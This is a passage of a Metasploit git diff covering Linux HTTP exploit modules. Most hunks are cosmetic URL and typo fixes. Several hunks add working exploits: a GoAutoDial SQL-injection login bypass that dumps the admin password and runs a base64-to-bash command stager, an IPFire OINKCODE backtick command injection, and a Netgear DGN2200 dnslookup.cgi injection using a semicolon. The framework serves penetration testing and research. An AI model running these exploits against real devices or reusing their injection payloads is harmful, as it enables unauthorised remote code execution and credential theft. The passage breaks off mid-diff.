+  def sqli_auth_bypass
+    uri = target_uri.path
+
+    send_request_cgi({
+      'method'  => 'POST',
+      'uri'     => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
+      'headers' => {
+        'User-Agent' => 'Mozilla/5.0',
+        'Accept-Encoding' => 'identity'
+      },
+      'vars_post' => {
+        'user_name' => 'admin',
+        'user_pass' => "' or '"
+      }
+    })
+  end
+
+  def sqli_admin_pass
+   uri = target_uri.path
+
+   send_request_cgi({
+      'uri'     => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', Rex::Text.uri_encode("' OR active='Y")),
+      'cookie'  => @cookie,
+      'headers' => {
+        'User-Agent' => 'Mozilla/5.0',
+        'Accept-Encoding' => 'identity'
+      }
+    })
+  end
+
+  #
+  # Run the command stager
+  #
+  def execute_command(cmd, opts = {})
+
+    params = "|echo -n #{Rex::Text.encode_base64(cmd)} |base64 --decode|bash"
+    uri = target_uri.path
+
+    send_request_cgi({
+      'uri'     => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', Rex::Text.uri_encode(params)),
+      'cookie'  => @cookie,
+      'headers' => {
+        'User-Agent' => 'Mozilla/5.0',
+        'Accept-Encoding' => 'identity'
+      }
+    })
+  end
+
+  def exploit
+    print_status("#{peer} - Trying SQL injection...")
+    res = sqli_auth_bypass
+
+    unless res
+      fail_with(Failure::Unknown, 'Connection failed')
+    end
+
+    if res.code == 200 && res.get_cookies.include?('go_session')
+      print_good("#{peer} - Authentication Bypass (SQLi) was successful")
+    else
+      fail_with(Failure::NotVulnerable, "Run 'check' command to identify whether the auth bypass has been fixed")
+    end
+
+    @cookie = res.get_cookies
+    print_status("#{peer} - Dumping admin password...")
+    res = sqli_admin_pass
+
+    unless res
+      fail_with(Failure::Unknown, 'Connection failed')
+    end
+
+    # Example response: admin|goautodial|Admin|||Y
+    if res.body.include?('|')
+      print_good("#{peer} - Found credentials: #{res.body}")
+    else
+      fail_with(Failure::NotVulnerable, 'No creds returned, possible mitigations are in place.')
+    end
+
+    print_status("#{peer} - Sending payload...")
+    execute_cmdstager(:linemax => 800)
+  end
+end
diff --git a/modules/exploits/linux/http/gpsd_format_string.rb b/modules/exploits/linux/http/gpsd_format_string.rb
index eb3d216918..973f838b2d 100644
--- a/modules/exploits/linux/http/gpsd_format_string.rb
+++ b/modules/exploits/linux/http/gpsd_format_string.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb
index f21ccf0482..57e2bdb0a2 100644
--- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb
+++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb
index bed5b5fe76..9be9fc4f42 100644
--- a/modules/exploits/linux/http/hp_system_management.rb
+++ b/modules/exploits/linux/http/hp_system_management.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -98,5 +98,4 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
   end
-
 end
diff --git a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb
index 4a04ddc7e1..0ff113b764 100644
--- a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb
+++ b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/ipfire_bashbug_exec.rb b/modules/exploits/linux/http/ipfire_bashbug_exec.rb
index c949c8746c..fe1a961d2a 100644
--- a/modules/exploits/linux/http/ipfire_bashbug_exec.rb
+++ b/modules/exploits/linux/http/ipfire_bashbug_exec.rb
@@ -1,7 +1,7 @@
 ##
-## This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
@@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote
           ],
         'References'     =>
           [
+            [ 'AKA', 'Shellshock' ],
             [ 'EDB', '34839' ],
             [ 'CVE', '2014-6271']
           ],
diff --git a/modules/exploits/linux/http/ipfire_oinkcode_exec.rb b/modules/exploits/linux/http/ipfire_oinkcode_exec.rb
new file mode 100644
index 0000000000..adc4e9bd85
--- /dev/null
+++ b/modules/exploits/linux/http/ipfire_oinkcode_exec.rb
@@ -0,0 +1,119 @@
+##
+## This module requires Metasploit: https://metasploit.com/download
+## Current source: https://github.com/rapid7/metasploit-framework
+###
+
+class MetasploitModule < Msf::Exploit::Remote
+  include Msf::Exploit::Remote::HttpClient
+
+  Rank = ExcellentRanking
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'        => 'IPFire proxy.cgi RCE',
+        'Description' => %q(
+          IPFire, a free linux based open source firewall distribution,
+          version < 2.19 Update Core 110 contains a remote command execution
+          vulnerability in the ids.cgi page in the OINKCODE field.
+        ),
+        'Author'      =>
+          [
+            'h00die <mike@stcyrsecurity.com>', # module
+            '0x09AL'                         # discovery
+          ],
+        'References'  =>
+          [
+            [ 'EDB', '42149' ]
+          ],
+        'License'        => MSF_LICENSE,
+        'Platform'       => 'unix',
+        'Privileged'     => false,
+        'DefaultOptions' => { 'SSL' => true },
+        'Arch'           => [ ARCH_CMD ],
+        'Payload'        =>
+          {
+            'Compat' =>
+              {
+                'PayloadType' => 'cmd',
+                'RequiredCmd' => 'perl awk openssl'
+              }
+          },
+        'Targets'        =>
+          [
+            [ 'Automatic Target', {}]
+          ],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => 'Jun 09 2017'
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
+        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
+        Opt::RPORT(444)
+      ]
+    )
+  end
+
+  def check
+    begin
+      # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
+      # after a chat with @bcoles in IRC.
+      res = send_request_cgi(
+        'uri'           => '/cgi-bin/pakfire.cgi',
+        'method'        => 'GET',
+        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
+      )
+
+      if res && res.code == 200
+        /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
+      end
+      if version.nil? || update.nil? || !Gem::Version.correct?(version)
+        vprint_error('No Recognizable Version Found')
+        CheckCode::Safe
+      elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110
+        CheckCode::Appears
+      else
+        vprint_error('Version and/or Update Not Supported')
+        CheckCode::Safe
+      end
+    rescue ::Rex::ConnectionError
+      print_error("Connection Failed")
+      CheckCode::Safe
+    end
+  end
+
+  def exploit
+    begin
+      # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
+      # after a chat with @bcoles in IRC.
+      vprint_status('Sending request')
+      res = send_request_cgi(
+        'uri'           => '/cgi-bin/ids.cgi',
+        'method'        => 'POST',
+        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+        'headers'       =>
+          {
+            'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
+          },
+        'vars_post'          => {
+          'ENABLE_SNORT_GREEN' => 'on',
+          'ENABLE_SNORT' => 'on',
+          'RULES' => 'registered',
+          'OINKCODE' => "`#{payload.encoded}`",
+          'ACTION' => 'Download new ruleset',
+          'ACTION2' => 'snort'
+          }
+      )
+
+      # success means we hang our session, and wont get back a response, so just check we get a response back
+      if res && res.code != 200
+        fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
+      end
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
+    end
+  end
+end
diff --git a/modules/exploits/linux/http/ipfire_proxy_exec.rb b/modules/exploits/linux/http/ipfire_proxy_exec.rb
index 874f7f38df..84ec93a44d 100644
--- a/modules/exploits/linux/http/ipfire_proxy_exec.rb
+++ b/modules/exploits/linux/http/ipfire_proxy_exec.rb
@@ -1,7 +1,7 @@
 ##
-## This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/exploits/linux/http/kaltura_unserialize_rce.rb b/modules/exploits/linux/http/kaltura_unserialize_rce.rb
index fe2be48eff..042fe208b2 100644
--- a/modules/exploits/linux/http/kaltura_unserialize_rce.rb
+++ b/modules/exploits/linux/http/kaltura_unserialize_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb
index 1212a22e56..4d59c8d572 100644
--- a/modules/exploits/linux/http/kloxo_sqli.rb
+++ b/modules/exploits/linux/http/kloxo_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,33 +71,6 @@ class MetasploitModule < Msf::Exploit::Remote
       ])
   end
 
-  def report_cred(opts)
-    service_data = {
-      address: opts[:ip],
-      port: opts[:port],
-      service_name: opts[:service_name],
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: fullname,
-      post_reference_name: self.refname,
-      private_data: opts[:password],
-      origin_type: :service,
-      private_type: :password,
-      username: opts[:user]
-    }.merge(service_data)
-
-    login_data = {
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::SUCCESSFUL,
-      last_attempted_at: opts[:attempt_time]
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
   def check
     return Exploit::CheckCode::Safe unless webcommand_exists?
     return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
@@ -119,14 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
     @session = send_login
     fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?
 
-    report_cred(
-      ip: rhost,
-      port: rport,
-      user: 'admin',
-      service_name: 'http',
-      password: @password,
-      attempt_time: DateTime.now
-    )
+    store_valid_credential(user: 'admin', private: @password)
 
     print_status("Retrieving the server name...")
     @server = server_info
@@ -250,7 +216,7 @@ class MetasploitModule < Msf::Exploit::Remote
     loot = ''
 
     until exploit_sqli(i, "\x00")
-      vprint_status("Bruteforcing position #{i}")
+      vprint_status("Brute forcing position #{i}")
       c = brute_force_char(i)
       if c.nil?
         return nil
@@ -298,5 +264,4 @@ class MetasploitModule < Msf::Exploit::Remote
     vprint_warning("Unknown fingerprint while exploiting SQLi... be careful")
     false
   end
-
 end
diff --git a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb
index 93a314783c..53990e9e72 100644
--- a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb
+++ b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/linksys_apply_cgi.rb b/modules/exploits/linux/http/linksys_apply_cgi.rb
index 719a939656..f17e5a921c 100644
--- a/modules/exploits/linux/http/linksys_apply_cgi.rb
+++ b/modules/exploits/linux/http/linksys_apply_cgi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
         According to iDefense who discovered this vulnerability, all WRT54G versions prior to
-        4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
+        4.20.7 and all WRT54GS version prior to 1.05.2 may be affected.
       },
       'Author'         => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
       'License'        => MSF_LICENSE,
@@ -96,5 +96,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb
index 473286c54e..cf9f5fb19d 100644
--- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb
+++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -247,5 +247,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb
index 9626c4abdc..9dad59d8af 100644
--- a/modules/exploits/linux/http/linksys_themoon_exec.rb
+++ b/modules/exploits/linux/http/linksys_themoon_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -117,5 +117,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Exploiting...")
     execute_cmdstager({:flavor  => :wget})
   end
-
 end
diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb
index aa0c34b045..b80fd3a4f4 100644
--- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb
+++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote
         'uri' => '/HNAP1/'
       })
     rescue ::Rex::ConnectionError
-      vprint_error("A connection error has occured")
+      vprint_error("A connection error has occurred")
       return Exploit::CheckCode::Unknown
     end
 
diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb
index 65eb16b9b9..73e9f55953 100644
--- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb
+++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         their web interface where default credentials are admin/admin or admin/password.
         Since it is a blind OS command injection vulnerability, there is no output for the
         executed command when using the cmd generic payload. This module has been tested on
-        a  Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
+        a Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
         controlled system could be used for testing purposes. The exploit uses the tftp
         client from the device to stage to native payloads from the command injection.
       },
diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb
index ee473f6827..e4c97eff3a 100644
--- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb
+++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -413,5 +413,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/logsign_exec.rb b/modules/exploits/linux/http/logsign_exec.rb
index 1f04527fce..7be1da5a3f 100644
--- a/modules/exploits/linux/http/logsign_exec.rb
+++ b/modules/exploits/linux/http/logsign_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Logsign Remote Command Injection',
       'Description'    => %q{
-        This module exploits an command injection vulnerability in Logsign.
+        This module exploits a command injection vulnerability in Logsign.
         By exploiting this vulnerability, unauthenticated users can execute
         arbitrary code under the root user.
 
diff --git a/modules/exploits/linux/http/multi_ncc_ping_exec.rb b/modules/exploits/linux/http/multi_ncc_ping_exec.rb
index 35402c5f93..de37ac2f88 100644
--- a/modules/exploits/linux/http/multi_ncc_ping_exec.rb
+++ b/modules/exploits/linux/http/multi_ncc_ping_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb
index 3536557ce6..4efc0817b0 100644
--- a/modules/exploits/linux/http/mutiny_frontend_upload.rb
+++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     print_status("Trying to login")
     if login
-      print_good("Login successful")
+      print_good("Login Successful")
     else
       fail_with(Failure::NoAccess, "#{peer} - Login failed, review USERNAME and PASSWORD options")
     end
@@ -192,5 +192,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     jspraw
   end
-
 end
diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb
index 5498a94f5d..687308da7a 100644
--- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb
+++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/nagios_xi_chained_rce.rb b/modules/exploits/linux/http/nagios_xi_chained_rce.rb
index 3b7ee2dd04..a60386da4f 100644
--- a/modules/exploits/linux/http/nagios_xi_chained_rce.rb
+++ b/modules/exploits/linux/http/nagios_xi_chained_rce.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -276,5 +275,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def zip_filename
     @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
   end
-
 end
diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb
index 18d77277ea..fbb99ee448 100644
--- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb
+++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -251,5 +251,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb
index d80ae85c0d..84d65fd128 100644
--- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb
+++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -356,5 +356,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb
new file mode 100644
index 0000000000..a0fccbf1c8
--- /dev/null
+++ b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb
@@ -0,0 +1,108 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'net/http'
+require "base64"
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'                 => "Netgear DGN2200 dnslookup.cgi Command Injection",
+      'Description'          => %q{
+        This module exploits a command injection vulnerablity in NETGEAR
+        DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
+        with valid login details.
+      },
+      'License'              => MSF_LICENSE,
+      'Platform'             => 'unix',
+      'Author'               => [
+        'thecarterb',  # Metasploit Module
+        'SivertPL'     # Vuln discovery
+      ],
+      'DefaultTarget'        => 0,
+      'Privileged'           => true,
+      'Arch'                 => [ARCH_CMD],
+      'Targets'              => [
+        [ 'NETGEAR DDGN2200 Router', { } ]
+      ],
+      'References'           =>
+        [
+          [ 'EDB', '41459'],
+          [ 'CVE', '2017-6334']
+        ],
+      'DisclosureDate' => 'Feb 25 2017',
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(80),
+        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
+        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
+      ])
+
+    register_advanced_options(
+    [
+      OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
+    ])
+    end
+
+  # Requests the login page which tells us the hardware version
+  def check
+    res = send_request_cgi({'uri'=>'/'})
+    if res.nil?
+      fail_with(Failure::Unreachable, 'Connection timed out.')
+    end
+     # Checks for the `WWW-Authenticate` header in the response
+    if res.headers["WWW-Authenticate"]
+      data = res.to_s
+      marker_one = "Basic realm=\"NETGEAR "
+      marker_two = "\""
+      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
+      vprint_status("Router is a NETGEAR router (#{model})")
+      model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
+      if model_numbers.include?(model)
+        print_good("Router may be vulnerable (NETGEAR #{model})")
+        return CheckCode::Detected
+      else
+        return CheckCode::Safe
+      end
+    else
+      print_error('Router is not a NETGEAR router')
+      return CheckCode::Safe
+    end
+  end
+
+  def exploit
+    check
+
+    # Convert datastores
+    user = datastore['USERNAME']
+    pass = datastore['PASSWORD']
+    hostname = datastore['HOSTNAME']
+
+    vprint_status("Using encoder: #{payload.encoder} ")
+    print_status('Sending payload...')
+
+    vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")
+
+    creds_combined = Base64.strict_encode64("#{user}:#{pass}")
+    vprint_status("Encoded authentication: #{creds_combined}")
+
+    res = send_request_cgi({
+      'uri'         => '/dnslookup.cgi',
+      'headers'     => {
+        'Authorization' => "Basic #{creds_combined}"
+      },
+      'vars_post'   => {
+        'lookup'    => 'Lookup',
+        'host_name' => hostname + '; ' + payload.encoded
+    }})
+
+  end
+end
diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb
index b2f5c1a4da..d227b3c867 100644
--- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb
+++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -98,5 +97,4 @@ class MetasploitModule < Msf::Exploit::Remote
       super
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/netgear_readynas_exec.rb b/modules/exploits/linux/http/netgear_readynas_exec.rb
index 809079bbcc..88d1b9dfa6 100644
--- a/modules/exploits/linux/http/netgear_readynas_exec.rb
+++ b/modules/exploits/linux/http/netgear_readynas_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,5 +90,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Executing payload...")
     send_request_payload(my_payload)
   end
-
 end
diff --git a/modules/exploits/linux/http/netgear_wnr2000_rce.rb b/modules/exploits/linux/http/netgear_wnr2000_rce.rb
index c95487bb7c..6aaf189ab8 100644
--- a/modules/exploits/linux/http/netgear_wnr2000_rce.rb
+++ b/modules/exploits/linux/http/netgear_wnr2000_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         In order to exploit it, it is necessary to guess the value of a certain timestamp which
         is in the configuration of the router. An authenticated attacker can simply fetch this
         from a page, but an unauthenticated attacker has to brute force it.
-        Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
+        Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
         it is guaranteed that it can be bruteforced.
         This module implements both modes, and it works very reliably. It has been tested with
         the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
@@ -209,7 +209,7 @@ class MetasploitModule < Msf::Exploit::Remote
       sock.close if sock
     end
 
-    print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
+    print_error("#{peer} - Well that didn't work... let's do it the hard way.")
 
     # no shell? let's just go on and bruteforce the timestamp
     # 3: get the current date from the router and parse it
@@ -257,7 +257,7 @@ class MetasploitModule < Msf::Exploit::Remote
       start_time -= datastore['TIME_OFFSET']
       if start_time < 0
         if end_time <= datastore['TIME_OFFSET']
-          fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
+          fail_with(Failure::Unknown, "#{peer} - Exploit failed")
         end
         start_time = 0
       end
diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb
index b9ff1f162c..eedc917091 100644
--- a/modules/exploits/linux/http/nginx_chunked_size.rb
+++ b/modules/exploits/linux/http/nginx_chunked_size.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -249,7 +249,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # We are going to bruteforce the next 3 bytes one at a time
     3.times do |c|
-      print_status("Bruteforcing byte #{c + 1}")
+      print_status("Brute forcing byte #{c + 1}")
 
       0.upto(255) do |i|
         data = 	random_chunk_size(1024)
diff --git a/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb b/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb
index d5a190d4e3..44fc237e1c 100644
--- a/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb
+++ b/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb b/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb
index 57bd3ce4b2..5e89b07d14 100644
